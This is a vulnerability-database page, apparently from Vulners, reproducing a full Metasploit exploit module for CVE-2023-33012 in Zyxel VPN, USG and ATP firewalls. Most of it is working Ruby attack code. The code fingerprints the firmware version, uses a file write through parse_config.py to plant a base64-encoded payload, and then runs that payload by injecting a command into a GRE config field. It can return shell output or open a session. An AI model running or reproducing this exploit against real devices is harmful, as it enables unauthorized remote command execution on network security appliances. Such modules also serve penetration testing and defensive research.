Lucene search
K

Zyxel parse_config.py Command Injection

🗓️ 04 Jul 2024 00:00:00Reported by jheysel-r7, SSD Secure Disclosure technical team, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 333 Views

Zyxel parse_config.py Command Injection exploit against multiple Zyxel devices including VPN, USG and APT series

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2023-33012
21 Feb 202419:32
circl
CNNVD
Zyxel ATP 操作系统命令注入漏洞
17 Jul 202300:00
cnnvd
CVE
CVE-2023-33012
17 Jul 202317:23
cve
Cvelist
CVE-2023-33012
17 Jul 202317:23
cvelist
EUVD
EUVD-2023-37201
3 Oct 202520:07
euvd
Metasploit
Zyxel parse_config.py Command Injection
3 Jul 202419:54
metasploit
NCSC
Vulnerabilities fixed in Zyxel products
18 Jul 202300:00
ncsc
NVD
CVE-2023-33012
17 Jul 202318:15
nvd
Prion
Command injection
17 Jul 202318:15
prion
Positive Technologies
PT-2023-3605 · Zyxel · Zyxel Usg Flex Series +4
17 May 202300:00
ptsecurity
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Zyxel parse_config.py Command Injection',  
'Description' => %q{  
This module exploits vulnerabilities in multiple Zyxel devices including the VPN, USG and APT series.  
The affected firmware versions depend on the device module, see this module's documentation for more details.  
  
Note this module was unable to be tested against a real Zyxel device and was tested against a mock environment.  
If you run into any issues testing this in a real environment we kindly ask you raise an issue in  
metasploit's github repository: https://github.com/rapid7/metasploit-framework/issues/new/choose  
},  
'Author' => [  
'SSD Secure Disclosure technical team', # discovery  
'jheysel-r7' # Msf module  
],  
'References' => [  
[ 'URL', 'https://ssd-disclosure.com/ssd-advisory-zyxel-vpn-series-pre-auth-remote-command-execution/'],  
[ 'CVE', '2023-33012']  
],  
'License' => MSF_LICENSE,  
'Platform' => ['linux', 'unix'],  
'Privileged' => true,  
'Arch' => [ ARCH_CMD ],  
'Targets' => [  
[ 'Automatic Target', {}]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => '2024-01-24',  
'Notes' => {  
'Stability' => [ CRASH_SAFE, ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ],  
'Reliability' => [ ] # This vulnerability can only be exploited once, more info: https://vulncheck.com/blog/zyxel-cve-2023-33012#you-get-one-shot  
}  
)  
)  
  
register_options(  
[  
OptString.new('WRITABLE_DIR', [ true, 'A directory where we can write files', '/tmp' ]),  
]  
)  
end  
  
def check  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'ext-js', 'app', 'common', 'zld_product_spec.js')  
})  
return CheckCode::Unknown('No response from /ext-js/app/common/zld_product_spec.js') if res.nil?  
  
if res.code == 200  
product_match = res.body.match(/ZLDSYSPARM_PRODUCT_NAME1="([^"]*)"/)  
version_match = res.body.match(/ZLDCONFIG_CLOUD_HELP_VERSION=([\d.]+)/)  
  
if product_match && version_match  
product = product_match[1]  
version = version_match[1]  
  
if (product.starts_with?('USG') && product.include?('W') && Rex::Version.new(version) <= Rex::Version.new('5.36.2') && Rex::Version.new(version) >= Rex::Version.new('5.10')) ||  
(product.starts_with?('USG') && !product.include?('W') && Rex::Version.new(version) <= Rex::Version.new('5.36.2') && Rex::Version.new(version) >= Rex::Version.new('5.00')) ||  
(product.starts_with?('ATP') && Rex::Version.new(version) <= Rex::Version.new('5.36.2') && Rex::Version.new(version) >= Rex::Version.new('5.10')) ||  
(product.starts_with?('VPN') && Rex::Version.new(version) <= Rex::Version.new('5.36.2') && Rex::Version.new(version) >= Rex::Version.new('5.00'))  
return CheckCode::Appears("Product: #{product}, Version: #{version}")  
else  
return CheckCode::Safe("Product: #{product}, Version: #{version}")  
end  
end  
end  
CheckCode::Unknown('Version and product info were unable to be determined.')  
end  
  
def on_new_session(session)  
super  
command_output = ''  
# Get the most recently created GRE tunnel interface, bring it down then delete it to allow for subsequent module runs.  
if session.type.to_s.eql? 'meterpreter'  
newest_gre = session.sys.process.execute '/bin/sh', "-c \"ip -d link show type gre | grep -oP '^\\d+: \\K[^@]+' | tail -n 1\""  
print_good("Found the most recently created GRE tunnel interface: #{newest_gre}. Going to delete it to allow for subsequent module runs.")  
command_output = session.sys.process.execute '/bin/sh', "-c \"ifconfig #{newest_gre} down && ip tunnel del #{newest_gre} mode gre && echo success\""  
elsif session.type.to_s.eql? 'shell'  
newest_gre = session.shell_command_token "ip -d link show type gre | grep -oP '^\\d+: \\K[^@]+' | tail -n 1"  
print_good("Found the most recently created GRE tunnel interface: #{newest_gre}. Going to delete it to allow for subsequent module runs.")  
command_output = session.shell_command_token "ifconfig #{newest_gre} down && ip tunnel del #{newest_gre} mode gre && echo success"  
end  
  
if command_output.include?('success')  
print_good('The GRE interface was successfully removed.')  
else  
print_warning('The module failed to remove the GRE interface created by this exploit. Subsequent module runs will likely fail unless unless it\'s successfully removed')  
end  
end  
  
def exploit  
# Command injection has a 0x14 byte length limit so keep the file name as small as possible.  
# The length limit is also why we leverage the arbitrary file write -> write our payload to the .qrs file then execute it with the command injection.  
filename = rand_text_alpha(1)  
payload_filepath = "#{datastore['WRITABLE_DIR']}/#{filename}.qsr"  
  
command = payload.raw  
command += ' '  
command += <<~CMD  
2>/var/log/ztplog 1>/var/log/ztplog  
(sleep 10 && /bin/rm -rf #{payload_filepath}) &  
CMD  
command = "echo #{Rex::Text.encode_base64(command)} | base64 -d > #{payload_filepath} ; . #{payload_filepath}"  
  
file_write_pload = "option proto vti\n"  
file_write_pload += "option #{command};exit\n"  
file_write_pload += "option name 1\n"  
  
config = Base64.strict_encode64(file_write_pload)  
data = { 'config' => config, 'fqdn' => "\x00" }  
print_status('Attempting to upload the payload via QSR file write...')  
  
file_write_res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'ztp', 'cgi-bin', 'parse_config.py'),  
'data' => data.to_s  
})  
unless file_write_res && !file_write_res.body.include?('ParseError: 0xC0DE0005')  
fail_with(Failure::PayloadFailed, 'The response from the target indicates the payload transfer was unsuccessful')  
end  
  
register_files_for_cleanup(payload_filepath)  
print_good("File write was successful, uploaded: #{payload_filepath}")  
  
cmd_injection_pload = "option proto gre\n"  
cmd_injection_pload += "option name 0\n"  
cmd_injection_pload += "option ipaddr ;. #{payload_filepath};\n"  
cmd_injection_pload += "option netmask 24\n"  
cmd_injection_pload += "option gateway 0\n"  
cmd_injection_pload += "option localip #{Faker::Internet.private_ip_v4_address}\n"  
cmd_injection_pload += "option remoteip #{Faker::Internet.private_ip_v4_address}\n"  
config = Rex::Text.encode_base64(cmd_injection_pload)  
data = { 'config' => config, 'fqdn' => "\x00" }  
  
cmd_injection_res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'ztp', 'cgi-bin', 'parse_config.py'),  
'data' => data.to_s  
})  
  
# If the payload being used is for example cmd/unix/generic and not a payload spawning any kind of handler (bind or reverse)  
# we can query the /ztp/cgi-bin/dumpztplog.py for the stdout of the command and print it for the user.  
if payload_instance.connection_type == 'none'  
cmd_output_res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'ztp', 'cgi-bin', 'dumpztplog.py')  
})  
  
if cmd_output_res&.body && !cmd_output_res.body.empty?  
output = cmd_output_res.body.split("</head>\n<body>")[1]  
output = output.split("</body>\n</html>")[0]  
output = output.gsub("\n\n<br>", '')  
output = output.gsub("[IPC]IPC result: 1\n", '')  
print_good("Command output: #{output}")  
else  
print_error("Could not retrieve the command's stout from /ztp/cgi-bin/dumpztplog.py")  
end  
end  
  
unless cmd_injection_res && !cmd_injection_res.body.include?('ParseError: 0xC0DE0005')  
fail_with(Failure::PayloadFailed, 'The response from the target indicates the payload transfer was unsuccessful')  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Jul 2024 00:00Current
7.1High risk
Vulners AI Score7.1
CVSS 3.18.8
EPSS0.08567
SSVC
333